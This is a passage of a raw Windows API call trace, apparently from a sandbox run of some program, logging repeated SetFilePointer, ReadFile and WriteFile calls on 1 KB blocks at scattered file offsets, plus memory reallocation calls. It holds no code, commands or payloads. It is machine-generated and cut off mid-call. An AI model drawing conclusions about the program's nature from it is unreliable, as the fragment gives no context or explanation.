dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xa672d [0265.139] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.140] SetFilePointer (in: hFile=0x398, lDistanceToMove=705100, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xac24c [0265.140] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.140] SetFilePointer (in: hFile=0x398, lDistanceToMove=737618, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xb4152 [0265.140] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.140] SetFilePointer (in: hFile=0x398, lDistanceToMove=765774, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xbaf4e [0265.140] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.140] SetFilePointer (in: hFile=0x398, lDistanceToMove=817718, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xc7a36 [0265.140] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.153] SetFilePointer (in: hFile=0x398, lDistanceToMove=822229, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xc8bd5 [0265.153] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.153] SetFilePointer (in: hFile=0x398, lDistanceToMove=879259, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xd6a9b [0265.153] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.153] SetFilePointer (in: hFile=0x398, lDistanceToMove=899853, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xdbb0d [0265.153] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.154] SetFilePointer (in: hFile=0x398, lDistanceToMove=945511, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xe6d67 [0265.154] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.154] SetFilePointer (in: hFile=0x398, lDistanceToMove=978935, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xeeff7 [0265.154] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.154] SetFilePointer (in: hFile=0x398, lDistanceToMove=1009055, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xf659f [0265.154] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.154] SetFilePointer (in: hFile=0x398, lDistanceToMove=1038791, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xfd9c7 [0265.154] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.154] SetFilePointer (in: hFile=0x398, lDistanceToMove=1077259, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x10700b [0265.154] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.154] SetFilePointer (in: hFile=0x398, lDistanceToMove=1098475, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x10c2eb [0265.154] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.154] SetFilePointer (in: hFile=0x398, lDistanceToMove=1114948, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x110344 [0265.155] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.155] SetFilePointer (in: hFile=0x398, lDistanceToMove=1155672, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x11a258 [0265.155] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.155] SetFilePointer (in: hFile=0x398, lDistanceToMove=1182315, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x120a6b [0265.155] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.155] SetFilePointer (in: hFile=0x398, lDistanceToMove=1220116, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x129e14 [0265.155] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.155] SetFilePointer (in: hFile=0x398, lDistanceToMove=1262069, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1341f5 [0265.155] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.155] SetFilePointer (in: hFile=0x398, lDistanceToMove=1307505, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x13f371 [0265.155] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.155] SetFilePointer (in: hFile=0x398, lDistanceToMove=1319864, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1423b8 [0265.155] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.156] SetFilePointer (in: hFile=0x398, lDistanceToMove=1369255, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x14e4a7 [0265.156] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.156] SetFilePointer (in: hFile=0x398, lDistanceToMove=1402209, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x156561 [0265.156] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.156] SetFilePointer (in: hFile=0x398, lDistanceToMove=1427191, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x15c6f7 [0265.156] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.156] SetFilePointer (in: hFile=0x398, lDistanceToMove=1457656, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x163df8 [0265.159] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.159] SetFilePointer (in: hFile=0x398, lDistanceToMove=1486370, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x16ae22 [0265.160] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.160] SetFilePointer (in: hFile=0x398, lDistanceToMove=1507816, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1701e8 [0265.160] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.160] SetFilePointer (in: hFile=0x398, lDistanceToMove=1543730, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x178e32 [0265.160] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.160] SetFilePointer (in: hFile=0x398, lDistanceToMove=1599789, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x18692d [0265.160] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.160] SetFilePointer (in: hFile=0x398, lDistanceToMove=1624416, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x18c960 [0265.160] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.160] SetFilePointer (in: hFile=0x398, lDistanceToMove=1660114, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1954d2 [0265.160] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.160] SetFilePointer (in: hFile=0x398, lDistanceToMove=1698527, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x19eadf [0265.160] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.160] SetFilePointer (in: hFile=0x398, lDistanceToMove=1707161, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1a0c99 [0265.160] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.161] SetFilePointer (in: hFile=0x398, lDistanceToMove=1763051, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1ae6eb [0265.161] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.161] SetFilePointer (in: hFile=0x398, lDistanceToMove=1782953, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1b34a9 [0265.161] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.161] SetFilePointer (in: hFile=0x398, lDistanceToMove=1818554, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1bbfba [0265.161] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.161] SetFilePointer (in: hFile=0x398, lDistanceToMove=1840861, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1c16dd [0265.161] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.162] SetFilePointer (in: hFile=0x398, lDistanceToMove=1891402, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1cdc4a [0265.162] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.163] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0265.164] GlobalLock (hMem=0x3f40004) returned 0x3af4e20 [0265.164] GlobalHandle (pMem=0x3af4e20) returned 0x3f40004 [0265.164] GlobalUnlock (hMem=0x3f40004) returned 0 [0265.164] GlobalReAlloc (hMem=0x3f40004, dwBytes=0x4000, uFlags=0x2) returned 0x3f40004 [0265.164] GlobalLock (hMem=0x3f40004) returned 0x3af4e20 [0265.165] GlobalHandle (pMem=0x3af4e20) returned 0x3f40004 [0265.165] GlobalUnlock (hMem=0x3f40004) returned 0 [0265.165] GlobalReAlloc (hMem=0x3f40004, dwBytes=0x6000, uFlags=0x2) returned 0x3f40004 [0265.165] GlobalLock (hMem=0x3f40004) returned 0x3af8e30 [0265.166] GlobalHandle (pMem=0x3af8e30) returned 0x3f40004 [0265.166] GlobalUnlock (hMem=0x3f40004) returned 0 [0265.166] GlobalReAlloc (hMem=0x3f40004, dwBytes=0x8000, uFlags=0x2) returned 0x3f40004 [0265.166] GlobalLock (hMem=0x3f40004) returned 0x3af8e30 [0265.166] GlobalHandle (pMem=0x3af8e30) returned 0x3f40004 [0265.166] GlobalUnlock (hMem=0x3f40004) returned 0 [0265.166] GlobalReAlloc (hMem=0x3f40004, dwBytes=0xa000, uFlags=0x2) returned 0x3f40004 [0265.167] GlobalLock (hMem=0x3f40004) returned 0x3b00e40 [0265.167] GlobalHandle (pMem=0x3b00e40) returned 0x3f40004 [0265.167] GlobalUnlock (hMem=0x3f40004) returned 0 [0265.167] GlobalReAlloc (hMem=0x3f40004, dwBytes=0xc000, uFlags=0x2) returned 0x3f40004 [0265.167] GlobalLock (hMem=0x3f40004) returned 0x3af4e20 [0265.167] GlobalHandle (pMem=0x3af4e20) returned 0x3f40004 [0265.167] GlobalUnlock (hMem=0x3f40004) returned 0 [0265.167] GlobalReAlloc (hMem=0x3f40004, dwBytes=0xe000, uFlags=0x2) returned 0x3f40004 [0265.167] GlobalLock (hMem=0x3f40004) returned 0x3af4e20 [0265.168] GlobalHandle (pMem=0x3af4e20) returned 0x3f40004 [0265.168] GlobalUnlock (hMem=0x3f40004) returned 0 [0265.168] GlobalReAlloc (hMem=0x3f40004, dwBytes=0x10000, uFlags=0x2) returned 0x3f40004 [0265.168] GlobalLock (hMem=0x3f40004) returned 0x3af4e20 [0265.170] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0265.170] GlobalUnlock (hMem=0x3f4000c) returned 0 [0265.170] GlobalHandle (pMem=0x3af4e20) returned 0x3f40004 [0265.170] GlobalUnlock (hMem=0x3f40004) returned 0 [0265.170] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0265.170] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0265.170] GlobalUnlock (hMem=0x3f40004) returned 0 [0265.170] GlobalReAlloc (hMem=0x3f40004, dwBytes=0x10000, uFlags=0x2) returned 0x3f40004 [0265.170] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0265.171] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0265.171] GlobalUnlock (hMem=0x3f40004) returned 0 [0265.335] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0265.335] WriteFile (in: hFile=0x398, lpBuffer=0x3e5bf88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5bf88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.336] SetFilePointer (in: hFile=0x398, lDistanceToMove=43661, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xaa8d [0265.336] WriteFile (in: hFile=0x398, lpBuffer=0x3e5c388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5c388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.336] SetFilePointer (in: hFile=0x398, lDistanceToMove=81503, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x13e5f [0265.336] WriteFile (in: hFile=0x398, lpBuffer=0x3e5c788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5c788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.336] SetFilePointer (in: hFile=0x398, lDistanceToMove=121957, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1dc65 [0265.336] WriteFile (in: hFile=0x398, lpBuffer=0x3e5cb88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5cb88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.336] SetFilePointer (in: hFile=0x398, lDistanceToMove=132514, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x205a2 [0265.336] WriteFile (in: hFile=0x398, lpBuffer=0x3e5cf88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5cf88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.336] SetFilePointer (in: hFile=0x398, lDistanceToMove=173134, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x2a44e [0265.336] WriteFile (in: hFile=0x398, lpBuffer=0x3e5d388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5d388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.337] SetFilePointer (in: hFile=0x398, lDistanceToMove=213888, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x34380 [0265.337] WriteFile (in: hFile=0x398, lpBuffer=0x3e5d788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5d788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.337] SetFilePointer (in: hFile=0x398, lDistanceToMove=235723, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x398cb [0265.337] WriteFile (in: hFile=0x398, lpBuffer=0x3e5db88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5db88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.337] SetFilePointer (in: hFile=0x398, lDistanceToMove=290735, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x46faf [0265.337] WriteFile (in: hFile=0x398, lpBuffer=0x3e5df88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5df88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.337] SetFilePointer (in: hFile=0x398, lDistanceToMove=325110, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x4f5f6 [0265.337] WriteFile (in: hFile=0x398, lpBuffer=0x3e5e388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5e388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.337] SetFilePointer (in: hFile=0x398, lDistanceToMove=331601, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x50f51 [0265.337] WriteFile (in: hFile=0x398, lpBuffer=0x3e5e788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5e788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.337] SetFilePointer (in: hFile=0x398, lDistanceToMove=361145, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x582b9 [0265.337] WriteFile (in: hFile=0x398, lpBuffer=0x3e5eb88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5eb88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.337] SetFilePointer (in: hFile=0x398, lDistanceToMove=416573, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x65b3d [0265.338] WriteFile (in: hFile=0x398, lpBuffer=0x3e5ef88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5ef88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.338] SetFilePointer (in: hFile=0x398, lDistanceToMove=448602, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x6d85a [0265.338] WriteFile (in: hFile=0x398, lpBuffer=0x3e5f388*, nNumberOfBytesToWrite=0x400, 